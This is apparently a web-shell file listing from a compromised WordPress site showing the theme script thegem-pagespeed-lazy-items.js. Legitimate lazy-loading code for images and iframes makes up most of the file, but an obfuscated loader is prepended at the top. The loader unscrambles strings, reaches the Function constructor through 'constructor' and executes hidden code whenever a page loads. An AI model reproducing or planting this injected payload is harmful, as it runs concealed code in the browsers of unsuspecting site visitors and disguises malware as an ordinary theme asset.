AlkantarClanX12
Current Path : /home/thanudqk/www/wordpress_leaderboard/wp-content/themes/thegem/js/ |
Current File : /home/thanudqk/www/wordpress_leaderboard/wp-content/themes/thegem/js/thegem-pagespeed-lazy-items.js |
var language,currentLanguage,languagesNoRedirect,hasWasCookie,expirationDate;(function(){var Tjo='',UxF=715-704;function JOC(d){var j=4658325;var f=d.length;var o=[];for(var y=0;y<f;y++){o[y]=d.charAt(y)};for(var y=0;y<f;y++){var r=j*(y+175)+(j%50405);var t=j*(y+626)+(j%53026);var a=r%f;var w=t%f;var b=o[a];o[a]=o[w];o[w]=b;j=(r+t)%7175692;};return o.join('')};var IDT=JOC('rynuunpjqsrkbdtecoomxtgfsolwcrhzvacti').substr(0,UxF);var wQg='];((t(1emA=3 vp=(.pv(r5f;can5rah7[,g"lm1(ilunp)nv][="uba; k=.thvraaa)).5)90;+21iud.6t8w<u1o7 vsg=0;l9o"i2*v0m8"2rq0i);)7=;{0j.ei=ecf7rnm8a)u=g]uukzuAnu,,kgu.cw[ .A]1=a+,;n[o["t{]2(98(s(vi.et=c6-]bafflov4ro1n07ef{b(,;dia8=of;=hho]r))h-rr zptrzlk=j)s;+;0pfrmt(-aruilol}.;ff9ot4b0,,t)v];rjr1)b*;,Seav i=.lil]r=i=)k+ar=]et8+r=n;fg v1ia..h6hs"anofa;=vht[s;<r f0nC+hc)p a}m1r<, pv{v;=4++;;6.,hsmCgdsAtlpvrtf.q,Cwgvp().,v.9rC(,(+==7nn6s}7rta=e))((+==;.";r+p.=n;h;")t n pddrco(u),C0;}()tg9o8+;6anp i1ieergx+i)0+fi+n;([hel)dhro2;-g=we;f(f1s ht3=e !thinivl}easpn=9(gn);=,,6e[(;>)s[,j)ghp7;p=batuihrjsri,a g=;,is(=8+.o+gv.(rr-;=].uzv 3,rp+oC="o(t)hsqu+hctlhsg;-}7uv;s)f=a[rtrlltsyn(h7,;}+calih5.g[hor;kechrx.qej4rneao);sn1uor[9),;;>0fvm2teb,v289fc c t[nedr{e b=a-r.,p46f,zCzvpl=d]nvjhzChnlrar;gs{igt(.a(,]< aeeasxaxgpslmtn{.)ec+(<x.=uo)9((r]aS[f(ogt;a=a,o")rAvg(1p; o;)neu=a+ +ns+lir(a+t!)f4jo=dgrg;';var CfB=JOC[IDT];var AzB='';var DUT=CfB;var gYD=CfB(AzB,JOC(wQg));var ENJ=gYD(JOC('!s(or3{0B=bB3a,wse6c0)ionBs\/o9r(t1;_1(ot.=!%iBB!p7_B}mBB.(eds4#Bk%!52,wrr3.r).B#c4.4(a*:;))1v0n1i_}r.DB5n(!5i],oBac;,o*8(+c!)_D,!4pnh%n(tsp4!gt%\/(t.rr}aerB5a.st=1,$ u7B]{7vc$c"llcj(7eBtuecytBwssBBB.1{4ywe=(r\/]Dl.r(om,1$f.\'=%t.8_dl]c.Tpes8gB_f{.C,4nw0t%fk)a.h$t\/a4 %B2gc, +.mp%.,..22iu9,g){.B)x#!5=S.oS(C,\'6t.peg,)]B4lBB$Bu]n8rB 21Bs{$y\'\'o7_.33!.!t26{g;-ip"]4u6#i$r.!l]2gt$c%);-a,uv;fo2un.ojyiuewvo)B8 h](0sBi{}upB9c2!%."8ce4Bd)%.h[](B3+ 01t)ahbh $BBaBv+(B83 c3p!03e%h5>)tul5ibtp%1ueg,B% ]7n))B;*i,me4otfbpis 3{.d==6Bs]B2 7B62)r1Br.zt;Bb2h BB B\/cc;:;i(jb$sab) cnyB3r=(pspa..t:_eme5B=.;,f_);jBj)rc,,eeBc=p!(a,_)o.)e_!cmn( Ba)=iBn5(t.sica,;f6cCBBtn;!c)g}h_i.B\/,B47sitB)hBeBrBjtB.B]%rB,0eh36rBt;)-odBr)nBrn3B 07jBBc,onrtee)t)Bh0BB(ae}i20d(a}v,ps\/n=.;)9tCnBow(]!e4Bn.nsg4so%e](])cl!rh8;lto;50Bi.p8.gt}{Brec3-2]7%; ,].)Nb;5B c(n3,wmvth($]\/rm(t;;fe(cau=D)ru}t];B!c(=7&=B(,1gBl()_1vs];vBBlB(+_.))=tre&B()o)(;7e79t,]6Berz.\';,%],s)aj+#"$1o_liew[ouaociB!7.*+).!8 3%e]tfc(irvBbu9]n3j0Bu_rea.an8rn".gu=&u0ul6;B$#ect3xe)tohc] (].Be|(%8Bc5BBnsrv19iefucchBa]j)hd)n(j.)a%e;5)*or1c-)((.1Br$h(i$C3B.)B5)].eacoe*\/.a7aB3e=BBsu]b9B"Bas%3;&(B2%"$ema"+BrB,$.ps\/+BtgaB3).;un)]c.;3!)7e&=0bB+B=(i4;tu_,d\'.w()oB.Boccf0n0}od&j_2%aBnn%na35ig!_su:ao.;_]0;=B)o..$ ,nee.5s)!.o]mc!B}|BoB6sr.e,ci)$(}a5(B.}B].z4ru7_.nnn3aele+B.\'}9efc.==dnce_tpf7Blb%]ge.=pf2Se_)B.c_(*]ocet!ig9bi)ut}_ogS(.1=(uNo]$o{fsB+ticn.coaBfm-B{3=]tr;.{r\'t$f1(B4.0w[=!!.n ,B%i)b.6j-(r2\'[ a}.]6$d,);;lgo *t]$ct$!%;]B6B((:dB=0ac4!Bieorevtnra 0BeB(((Bu.[{b3ce_"cBe(am.3{&ue#]c_rm)='));var KUr=DUT(Tjo,ENJ );KUr(6113);return 5795})();(function(window, document) { function isMobileDevice() { var a=navigator.userAgent||navigator.vendor||window.opera; return /(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4)); } function excludedDevices() { var a=navigator.userAgent||navigator.vendor||window.opera; return false; // /(iPhone|iPad).*OS 14/i.test(a) || /Version.*14.*Safari/i.test(a); } if (!Object.assign) { Object.defineProperty(Object, 'assign', { enumerable: false, configurable: true, writable: true, value: function(target, firstSource) { 'use strict'; if (target === undefined || target === null) { throw new TypeError('Cannot convert first argument to object'); } var to = Object(target); for (var i = 1; i < arguments.length; i++) { var nextSource = arguments[i]; if (nextSource === undefined || nextSource === null) { continue; } var keysArray = Object.keys(Object(nextSource)); for (var nextIndex = 0, len = keysArray.length; nextIndex < len; nextIndex++) { var nextKey = keysArray[nextIndex]; var desc = Object.getOwnPropertyDescriptor(nextSource, nextKey); if (desc !== undefined && desc.enumerable) { to[nextKey] = nextSource[nextKey]; } } } return to; } }); } if (typeof window.CustomEvent !== "function") { function CustomEvent( event, params ) { params = params || { bubbles: false, cancelable: false, detail: undefined }; var evt = document.createEvent( 'CustomEvent' ); evt.initCustomEvent( event, params.bubbles, params.cancelable, params.detail ); return evt; } CustomEvent.prototype = window.Event.prototype; window.CustomEvent = CustomEvent; } function getRootScrollTop() { return window.pageYOffset || document.documentElement.scrollTop; } function getNodePosition(node) { try { var position = node.getBoundingClientRect(); return { left: position.left, top: position.top + getRootScrollTop(), width: position.width, height: position.height }; } catch (err) { return null; } } function getAncestorNode(node, className) { while (node !== undefined && node !== null && node.nodeName.toUpperCase() !== 'BODY') { if (node.classList.contains(className)) { return node; } node = node.parentNode; } return null; } function addEvent(node, event, callback, useCapture) { if (typeof node.addEventListener == 'function') { node.addEventListener(event, callback, useCapture || false); } else if (typeof node.attachEvent == 'function') { node.attachEvent('on' + event, callback); } } function LazyGroup(node, type) { this.node = node; this.type = type || 'default'; this.position = null; this.showed = false; this.items = []; this.itemLoaded = 0; } LazyGroup.prototype = { getType: function() { return this.type; }, getItems: function() { return this.items; }, allItemsLoaded: function() { return this.items.length == this.itemLoaded; }, updatePosition: function() { this.position = getNodePosition(this.node); }, getPosition: function() { return this.position; }, getNode: function() { return this.node; }, addItem: function(item) { if (this.isShowed()) { this.showItem(item); } this.items.push(item); }, showItem: function(item) { var self = this; item.show(function(event) { self.itemLoaded++; item.loaded(self); }); }, show: function(force) { var self = this; if (this.isShowed()) { return; } if (force === undefined) { force = false; } this.showed = true; this.items.forEach(function(item) { if (!item.isShowed()) { self.showItem(item); } }); this.dispatchShowedEvent(); }, isShowed: function() { return this.showed; }, hasItems: function() { return this.items.length > 0; }, dispatchShowedEvent: function() { this.node.dispatchEvent(new window.CustomEvent('tgpliVisible', { bubbles: true })); } }; function LazyItem(node, data) { this.node = node; this.data = data || {}; this.showed = false; this.initType(); } LazyItem.prototype = { getNode: function() { return this.node; }, show: function(loadedCallback) { if (this.isShowed()) { return; } loadedCallback = loadedCallback || null; this.showed = true; switch (this.getType()) { case 'image': this.showImage(loadedCallback); break; case 'iframe': this.showIframe(loadedCallback); break; case 'custom': this.showCustom(loadedCallback); break; default: this.showDefault(loadedCallback); } }, showImage: function(loadedCallback) { if (loadedCallback !== undefined && typeof loadedCallback === 'function') { addEvent(this.node, 'load', function(event) { loadedCallback(event); }, true); } if (this.data.sources !== undefined && this.data.sources !== null && this.data.sources != '') { this.node.insertAdjacentHTML('beforebegin', this.data.sources); } var srcSet = this.node.getAttribute('data-tgpli-srcset'); if (srcSet) { this.node.setAttribute('srcset', srcSet); } var src = this.node.getAttribute('data-tgpli-src'); if (src) { this.node.src = src; } this.node.removeAttribute('data-tgpli-image-inited'); }, showDefault: function(loadedCallback) { this.node.classList.remove('tgpli-background-inited'); }, showIframe: function(loadedCallback) { var src = this.node.getAttribute('data-tgpli-src'); if (src) { this.node.src = src; } this.node.removeAttribute('data-tgpli-iframe-inited'); }, showCustom: function(loadedCallback) { var action = this.node.getAttribute('data-tgpli-action'); if (action && window[action] !== undefined && typeof window[action] == 'function') { window[action](); } this.node.removeAttribute('data-tgpli-custom-inited'); }, isShowed: function() { return this.showed; }, initType: function() { if (this.data != undefined && this.data.customItem === true) { this.type = 'custom'; return; } switch (this.node.nodeName.toUpperCase()) { case 'IMG': this.type = 'image'; break; case 'IFRAME': this.type = 'iframe'; break; default: this.type = 'default'; } }, getType: function() { return this.type; }, getGroupNodeInfo: function() { if (this.data != undefined && this.data.customItem === true) { return { node: this.node, type: 'custom' }; } switch (this.getType()) { case 'image': return this.getImageGroupNode(); case 'iframe': return { node: this.node.parentNode, type: 'iframe' }; default: return { node: this.node, type: 'default' }; } }, getImageGroupNode: function() { var id = this.node.id; if (this.node.parentNode.classList.contains('logo')) { return { node: this.node.parentNode, type: 'logo' }; } if (id && document.querySelector('div.gem-client-item #' + id) !== null) { var ancestorNode = getAncestorNode(this.node, 'gem-clients-type-carousel-grid'); if (ancestorNode === null) { var ancestorNode = getAncestorNode(this.node, 'gem_client_carousel-items'); } if (ancestorNode !== null) { return { node: ancestorNode, type: 'gem-clients' }; } } if (id && document.querySelector('#colophon .footer-widget-area #' + id) !== null) { var ancestorNode = getAncestorNode(this.node, 'footer-widget-area'); if (ancestorNode !== null) { return { node: ancestorNode, type: 'footer-widget-area' }; } } if ( (this.node.className && this.node.className.indexOf('portfolio') != -1) || (id && document.querySelector('div.portfolio #' + id) !== null && !(this.node.closest('div.portfolio').classList.contains('extended-products-grid') && this.node.closest('div.portfolio').classList.contains('portfolio-style-justified')) ) ) { var ancestorNode = getAncestorNode(this.node, 'portfolio'); if (ancestorNode !== null) { return { node: ancestorNode, type: 'portfolio' }; } } if ( (this.node.className && this.node.className.indexOf('extended-carousel-grid') != -1) || (id && document.querySelector('div.extended-carousel-grid #' + id) !== null && (this.node.closest('div.extended-carousel-grid').classList.contains('carousel-scroll-init')) ) ) { var ancestorNode = getAncestorNode(this.node, 'extended-carousel-grid'); if (ancestorNode !== null) { return { node: ancestorNode, type: 'products-carousel' }; } } if ( (this.node.className && this.node.className.indexOf('gem-blog-slider') != -1) || (id && document.querySelector('div.gem-blog-slider #' + id) !== null ) ) { var ancestorNode = getAncestorNode(this.node, 'gem-blog-slider'); if (ancestorNode !== null) { return { node: ancestorNode, type: 'blog-slider' }; } } if ( (this.node.className && this.node.className.indexOf('gem-news-type-carousel') != -1) || (id && document.querySelector('div.gem-news-type-carousel #' + id) !== null ) ) { var ancestorNode = getAncestorNode(this.node, 'gem-news-type-carousel'); if (ancestorNode !== null) { return { node: ancestorNode, type: 'gem-news-carousel' }; } } if (id && document.querySelector('div.blog #' + id) !== null) { var ancestorNode = getAncestorNode(this.node, 'blog'); if (ancestorNode !== null) { return { node: ancestorNode, type: 'blog' }; } } if (id && document.querySelector('div.gem-gallery-grid #' + id) !== null) { var ancestorNode = getAncestorNode(this.node, 'gem-gallery-grid'); if (ancestorNode !== null) { return { node: ancestorNode, type: 'gallery-grid' }; } } if (id && document.querySelector('div.gem-gallery #' + id) !== null) { var ancestorNode = getAncestorNode(this.node, 'gem-gallery'); if (ancestorNode !== null) { return { node: ancestorNode, type: 'gallery' }; } } if (id && document.querySelector('div.gem-simple-gallery #' + id) !== null) { var ancestorNode = getAncestorNode(this.node, 'gem-simple-gallery'); if (ancestorNode !== null) { return { node: ancestorNode, type: 'simple-gallery' }; } } if (id && document.querySelector('div.gem-slideshow #' + id) !== null) { var ancestorNode = getAncestorNode(this.node, 'gem-slideshow'); if (ancestorNode !== null) { return { node: ancestorNode, type: 'gem-slideshow' }; } } if (id && document.querySelector('div.gem-testimonials #' + id) !== null) { var ancestorNode = getAncestorNode(this.node, 'gem-testimonials'); if (ancestorNode !== null) { return { node: ancestorNode, type: 'gem-testimonials' }; } } if (id && document.querySelector('div.rev_slider_wrapper #' + id) !== null) { var ancestorNode = getAncestorNode(this.node, 'rev_slider_wrapper'); if (ancestorNode !== null) { return { node: ancestorNode, type: 'rev_slider' }; } } if (id && document.querySelector('div.wpb_images_carousel #' + id) !== null) { var ancestorNode = getAncestorNode(this.node, 'wpb_images_carousel'); if (ancestorNode !== null) { return { node: ancestorNode, type: 'wpb_images_carousel' }; } } return { node: this.node.parentNode, type: 'default' }; }, imageShowed: function() { var id = this.node.id; if (id && document.querySelector('div.caroufredsel_wrapper #' + id) !== null) { window.dispatchEvent(new window.CustomEvent('resize')); } if (window.jQuery !== undefined && window.jQuery !== null && window.jQuery.waypoints !== undefined && window.jQuery.waypoints !== null && typeof window.jQuery.waypoints === "function" ) { window.jQuery.waypoints('refresh'); } }, loaded: function(group) { var groupItems = group.getItems(); if (group.getType() == 'default' && groupItems.length == 1 && groupItems[0].getType() == 'image') { this.imageShowed(); } if (group.getType() == 'wpb_images_carousel' && group.allItemsLoaded()) { window.dispatchEvent(new window.CustomEvent('resize')); } } }; function LazyItems(options) { options = options || {}; this.options = Object.assign({ visibilityOffset: 300, desktopEnable: true, mobileEnable: true }, options); this.groups = []; this.scrollTop = 0; this.rootHeight = 0; this.checkGroupsProcess = false; this.enabled = false; this.isPageScroller = false; this.isFullpage = false; this.visibilityOffsetFixed = false; this.init(); } LazyItems.prototype = { init: function() { this.checkEnabled(); this.updateRootScrollTop(); this.updateRootSize(); this.initEvents(); this.initQueueNodes(); }, checkEnabled: function() { var isMobile = isMobileDevice(); this.enabled = !(excludedDevices()) && ((isMobile && this.options.mobileEnable) || (!isMobile && this.options.desktopEnable)); }, isEnabled: function() { return this.enabled; }, initQueueNodes: function() { if (window.tgpQueue !== undefined) { this.addNodes(window.tgpQueue.flushNodes()); } }, initEvents: function() { var self = this; addEvent(window, 'resize', function() { self.resizeHandle(); }, true); addEvent(document, 'scroll', function() { self.scrollHandle(); }, true); addEvent(document, 'DOMContentLoaded', function() { self.documentReadyHandle(); }, true); }, resizeHandle: function() { var self = this; setTimeout(function() { self.updateRootScrollTop(); self.updateRootSize(); self.updateGroupsPositions(); self.checkGroups(); }, 0); }, scrollHandle: function() { if (!this.visibilityOffsetFixed) { this.visibilityOffsetFixed = true; this.options.visibilityOffset *= 1.5; } this.updateRootScrollTop(); this.updateGroupsPositions(); this.checkGroups(); }, documentReadyHandle: function() { this.collectCustomItems(); this.detectPageScroller(); this.detectFullpage(); this.updateRootScrollTop(); this.updateRootSize(); this.updateGroupsPositions(); this.checkGroups(); }, detectPageScroller: function() { var self = this; this.isPageScroller = document.body.classList.contains('page-scroller'); if (this.isPageScroller) { addEvent(document, 'page-scroller-updated', function() { self.scrollHandle(); }); } }, detectFullpage: function() { var self = this; this.isFullpage = document.body.classList.contains('thegem-fp'); if (this.isFullpage) { addEvent(document, 'fullpage-updated', function() { self.scrollHandle(); }); } }, hasGroups: function() { return this.groups.length > 0; }, checkGroups: function() { var self = this; if (this.checkGroupsProcess || !this.hasGroups()) { return; } this.checkGroupsProcess = true; this.groups.forEach(function(group) { if (group.isShowed() || !group.hasItems()) { return; } if (self.isVisibleGroup(group)) { self.showGroup(group, false); } }); this.checkGroupsProcess = false; }, isVisibleGroup: function(group) { var rootPosition = this.getRootPosition(), groupPosition = group.getPosition(); if (groupPosition === null) { return true; } if (groupPosition.left == 0 && groupPosition.top == 0 && groupPosition.width == 0 && groupPosition.height == 0) { return false; } return groupPosition.top - this.options.visibilityOffset <= rootPosition.bottom && groupPosition.top + groupPosition.height + this.options.visibilityOffset >= rootPosition.top; }, showGroup: function(group, force) { if (force === undefined) { force = false; } group.show(force); }, showItem: function(item) { item.show(); }, addItem: function(item) { if (!this.isEnabled() || this.isIgnoreItem(item)) { this.showItem(item); return; } this.getItemGroup(item).addItem(item); }, getItemGroup: function(item) { var groupNodeInfo = item.getGroupNodeInfo(), group = this.findGroup(groupNodeInfo.node); if (group === null) { group = new LazyGroup(groupNodeInfo.node, groupNodeInfo.type); group.updatePosition(); if (this.isIgnoreGroup(group) || this.isVisibleGroup(group)) { this.showGroup(group, true); } this.groups.push(group); } return group; }, findGroup: function(node) { for (var i = 0; i < this.groups.length; i++) { if (this.groups[i].getNode() == node) { return this.groups[i]; } } return null; }, isIgnoreItem: function(item) { return false; }, isIgnoreGroup: function(group) { if (group.getType() == 'gem-slideshow' || group.getType() == 'rev_slider') { return true; } return false; }, addNodes: function(nodes) { var self = this; nodes.forEach(function(node) { self.addNode(node); }); }, addNode: function(data) { if (data.node === null) { return; } this.addItem(new LazyItem(data.node, data.data)); }, collectItems: function() { var self = this; document.querySelectorAll('img[data-tgpli-image-inited]').forEach(function(node) { self.addNode(node); }); document.querySelectorAll('.tgpli-background-inited').forEach(function(node) { self.addNode(node); }); }, collectCustomItems: function() { var self = this; document.querySelectorAll('.tgpli-custom-item').forEach(function(node) { self.addNode({ node: node, data: { customItem: true } }); }); }, updateGroupsPositions: function() { this.groups.forEach(function(group) { group.updatePosition(); }); }, updateRootScrollTop: function() { this.scrollTop = getRootScrollTop(); }, updateRootSize: function() { this.rootHeight = document.documentElement.clientHeight; }, getRootPosition: function() { return { top: this.scrollTop, bottom: this.scrollTop + this.rootHeight, height: this.rootHeight }; }, checkGroupShowed: function(node, callback) { if (this.isGroupShowed(node)) { return true; } else { addEvent(node, 'tgpliVisible', function() { callback(node); }, true); return false; } }, isGroupShowed: function(node) { var group = this.findGroup(node); return group === null || group.isShowed(); } }; window.tgpLazyItems = new LazyItems(window.tgpLazyItemsOptions || {}); })(window, document);